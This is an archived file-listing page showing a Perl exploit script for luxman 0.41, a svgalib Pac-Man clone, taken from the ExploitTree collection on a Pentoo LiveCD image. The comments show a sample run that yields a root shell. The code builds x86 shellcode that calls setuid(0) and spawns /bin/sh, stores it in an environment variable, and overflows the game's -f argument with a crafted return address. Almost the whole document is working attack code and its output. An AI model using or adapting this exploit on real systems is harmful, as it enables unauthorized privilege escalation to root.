home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / luxman.pl < prev    next >
Perl Script  |  2005-03-16  |  2KB  |  48 lines

  1. #!/usr/bin/perl -w
  2. #
  3. # luxman exploit
  4. #
  5. # ii luxman 0.41-19.1 Pac-Man clone (svgalib based)
  6. #
  7. # Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
  8. #
  9. # kfinisterre@jdam:~$ ./luxman_ex.pl
  10. # LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
  11. # LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
  12. # You must be the owner of the current console to use svgalib.
  13. # Not running in a graphics capable console,
  14. # and unable to find one.
  15. # Using SIS driver, 2048KB. Chiptype=8
  16. # svgalib 1.4.3
  17. # You must be the owner of the current console to use svgalib.
  18. # Not running in a graphics capable console,
  19. # and unable to find one.
  20. # svgalib: Failed to initialize mouse.
  21. # The frame rate is now set to 1 frames per second.
  22. # If the game seems too fast, too slow, or too jerky,
  23. # you can adjust this value the `-r' option.
  24. # Calibrating delay...-664257
  25. # Sound server started [pid:7082]
  26. # sh-2.05b# id
  27. # uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
  28. #
  29.  
  30. ($offset) = @ARGV,$offset || ($offset = 0);
  31.  
  32. $sc = "\x90"x512;
  33. $sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
  34. $sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
  35. $sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
  36. $sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  37.  
  38. $ENV{"FOO"} = $sc;
  39.  
  40. $buf = "A" x 8732;
  41. $buf .= (pack("l",(0xbfffffff-512+$offset)) x2);
  42.  
  43. #exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
  44. exec("/usr/games/luxman -r 1 -f $buf");
  45.